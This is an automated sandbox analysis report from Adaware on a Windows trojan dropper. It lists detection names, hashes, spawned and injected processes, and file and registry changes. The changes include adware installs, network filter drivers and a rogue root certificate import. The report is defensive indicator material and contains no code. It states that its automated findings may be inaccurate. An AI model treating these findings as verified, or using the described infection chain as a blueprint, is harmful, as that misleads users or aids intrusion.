Trojan.NSIS.StartPage_6ca035dbdb – Adaware

not-a-virus:AdWare.Win32.AdLoad.flrs (Kaspersky), Trojan.NSIS.StartPage.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.IEDummy.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, VirTool, Adware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 6ca035dbdb41e5aae84d9d20c0debb5c

SHA1: 7e1356d348d1b7b917ec42c36349387de2f9c7f3

SHA256: de17425acc2e845278cc00583a90c51d8f9bed6d2ae0368b335705265bb3ae28

SSDeep: 1536:qoLDYsacy7mHMowHjXJGT5dHkxPNS1/VDTqCE0jOZx01dupwtX914ihP:qoPyys5jXJGT5dSNSVJhEaa018pwtX9v

Size: 69264 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2009-12-06 00:50:35

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

net1.exe:2524
net1.exe:2484
net1.exe:1880
lV3vYxkgImpuHrJdsvvA2VZp_is.exe:448
WdsManPro.exe:3040
WdsManPro.exe:3008
SSFK_v2.0.6.26.exe:2980
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe:1272
CashReminder.exe:2060
net.exe:2492
net.exe:1972
net.exe:2408
QQBrowser.exe:1956
QQBrowser.exe:2764
ActSys.exe:2332
wpm_v20.0.0.2301.exe:2928
SFKEX.exe:2356
nfregdrv.exe:888
nfregdrv.exe:600
%original file name%.exe:872
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe:1084
SSFK.exe:3392
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe:2020
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe:608
WNet.exe:1416
lV3vYxkgImpuHrJdsvvA2VZp.exe:1388

The Trojan injects its code into the following process(es):

lV3vYxkgImpuHrJ:388
CashReminder.exe:2500
ActSys.exe:2544
WNet.exe:656

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process lV3vYxkgImpuHrJdsvvA2VZp_is.exe:448 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-NHRR5.tmp\lV3vYxkgImpuHrJdsvvA2VZp_is.tmp (195 bytes)

The process lV3vYxkgImpuHrJ:388 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\f[2].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\010914i[1].htm (787 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\mobi[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\mobi2[1].js (4356 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\f[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\verificar_ip[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\extreme[1].htm (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\s9[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\verificar_ip[1].php (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\mobi2[2].js (4029 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\top-line[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\010914i[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\mobi[2].js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icone_cadeado[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\carregando[1].gif (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp\nsWeb.dll (8 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\mobi2[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\mobi[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\f[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\s9[1].gif (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl4.tmp (0 bytes)

The process SSFK_v2.0.6.26.exe:2980 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\SSFK.exe (2321 bytes)
%Program Files%\SFK\install (72 bytes)
%Program Files%\SFK\SFK.ini (153 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe:1272 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\WNet\nfregdrv.exe (1552 bytes)
%Program Files%\WNet\WNet.exe (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\System.dll (11 bytes)
%Program Files%\WNet\uninst.exe (2353 bytes)
%Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
%Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
%System%\drivers\ssfilterdrv.sys (57 bytes)
%Program Files%\WNet\ssleay32.dll (12536 bytes)
%Program Files%\WNet\nfapi.dll (4992 bytes)
%Program Files%\WNet\libeay32.dll (41192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoA.tmp (53652 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SelfDel.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SimpleSC.dll (1856 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\System.dll (0 bytes)
%Program Files%\WNet\ssfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SimpleSC.dll (0 bytes)

The process CashReminder.exe:2500 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\stores[1].htm (784 bytes)
%WinDir%\Temp\P_StoreList.txt (784 bytes)
%WinDir%\Temp\P_RuleList.txt (314 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_StoreList.txt (0 bytes)
%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process QQBrowser.exe:1956 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\645.json (524 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\z[1].php (0 bytes)

The process QQBrowser.exe:2764 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\Z (42 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\645.db (179 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\z[1].htm (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\SSFK_v2.0.6.26.exe (2771 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\wpm_v20.0.0.2301.exe (2772 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\SSFK_v2.0.6.26.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\wpm_v20.0.0.2301.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\645.db (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\Z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\z[1].htm (0 bytes)

The process ActSys.exe:2544 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\ActSys\SSL\cert.db (1 bytes)
%WinDir%\Temp\ActSys\SSL\ActSSL 2.cer (2268 bytes)
%WinDir%\Temp\P_RuleList.txt (313 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\rules[1].txt (313 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process wpm_v20.0.0.2301.exe:2928 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat (178 bytes)
%Documents and Settings%\All Users\Application Data\lWdsManProl\WdsManPro.exe (2321 bytes)

The process SFKEX.exe:2356 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\Z (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\z[1].htm (42 bytes)
%Program Files%\SFK\SFK.ini (122 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\z[1].htm (0 bytes)

The process %original file name%.exe:872 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\310714_mb[1] (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\0053.urlshortener[2].js (1218 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\css[1].css (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe (127303 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\291014_nj[1].exe (127303 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\url_shortener_logo[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_a9[1].exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\240714_ps[1].exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_is.exe (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\nsWeb.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\go[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\xKPQyH[1] (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp.exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\280815_cr[1].exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\310714_br[1].exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\0053.urlshortener[1].js (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\0053.urlshortener[2].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\4fu8RBPDDCYpod03lr_bYQ[1].eot (9283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\0053.urlshortener[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_is[1] (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\xKPQyH[1].htm (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe (88107 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\0053.urlshortener[1].css (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\0053.urlshortener[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp (0 bytes)

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe:1084 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\NSISEncrypt.dll (3188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsC.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsD.tmp (6 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\NSISEncrypt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\WmiInspector.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp (0 bytes)

The process SSFK.exe:3392 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\SFK\SFKEX64.dll (14184 bytes)
%Program Files%\SFK\Yrrehs.zip (291 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX.exe (3616 bytes)
%Program Files%\SFK\Run (72 bytes)
%Program Files%\SFK\SFKEX.dll (12088 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX64.exe (4992 bytes)
%Program Files%\SFK\Heartbeat (72 bytes)

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe:2020 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import_root_cert.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\certutil.exe (3312 bytes)
%Program Files%\ActSys\ActSys.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import.bat (69 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\ns14.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstF.tmp (146769 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\actssl.cer (756 bytes)
%System%\drivers\asfilterdrv.sys (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nss3.dll (12536 bytes)
%Program Files%\ActSys\remove_ActSys.exe (825 bytes)
%Program Files%\ActSys\ssleay32.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plds4.dll (784 bytes)
%Program Files%\ActSys\nfapi.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SelfDel.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plc4.dll (784 bytes)
%Program Files%\ActSys\asfilterdrv.sys (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll (23936 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\smime3.dll (3616 bytes)
%Program Files%\ActSys\libeay32.dll (41192 bytes)
%Program Files%\ActSys\nfregdrv.exe (1552 bytes)
%Program Files%\ActSys\ProtocolFilters.dll (38904 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SimpleSC.dll (1856 bytes)

The Trojan deletes the following file(s):

%Program Files%\ActSys\asfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsnE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SimpleSC.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\ns14.tmp (0 bytes)

The process lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe:608 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\1[1].zip (80934 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\645.json (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\xlxbqc (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\II.zip (42848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\645.db (212 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\2[1].zip (87894 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I.zip (20792 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\7thGame (19 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\conf (79 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\SSFK_v2.0.6.26.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\wpm_v20.0.0.2301.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowser.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\defsearchp@gmail.com!1.0.0.1039.xpi (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowserFrame.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\ffv2#0.0.10.xpi (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\UninstallManager.exe (12536 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\xlxbqc (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\uninstallDlg2.xml (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\II.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowserFrame.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\7thGame (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].2807&update4=nation,us&update5=language,en (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowser.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\defsearchp@gmail.com!1.0.0.1039.xpi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].finish,2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\ffv2#0.0.10.xpi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].install (0 bytes)

The process WNet.exe:656 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (232 bytes)
%WinDir%\Temp\P_RuleList.txt (232 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\P_RuleList.txt (0 bytes)

The process lV3vYxkgImpuHrJdsvvA2VZp.exe:1388 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\CashReminder\ssleay32.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst12.tmp (53797 bytes)
%Program Files%\CashReminder\nfapi.dll (4992 bytes)
%Program Files%\CashReminder\remove.exe (313 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\System.dll (11 bytes)
%Program Files%\CashReminder\libeay32.dll (41192 bytes)
%System%\drivers\crfilterdrv.sys (57 bytes)
%Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SelfDel.dll (5 bytes)
%Program Files%\CashReminder\CashReminder.exe (15536 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
%Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SelfDel.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso11.tmp (0 bytes)
%Program Files%\CashReminder\crfilterdrv.sys (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse13.tmp\SimpleSC.dll (0 bytes)

Registry activity

The process net1.exe:2524 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA 46 F7 D1 0B D9 4C 23 D0 5A 5F E2 B3 A6 34 2F"

The process net1.exe:2484 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 86 F5 03 31 EF 16 BE 61 53 EA D5 11 5C 16 41"

The process net1.exe:1880 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 5D A6 B3 AA 53 04 60 E3 22 36 FA D1 4A 68 5F"

The process lV3vYxkgImpuHrJdsvvA2VZp_is.exe:448 makes changes in the system registry.

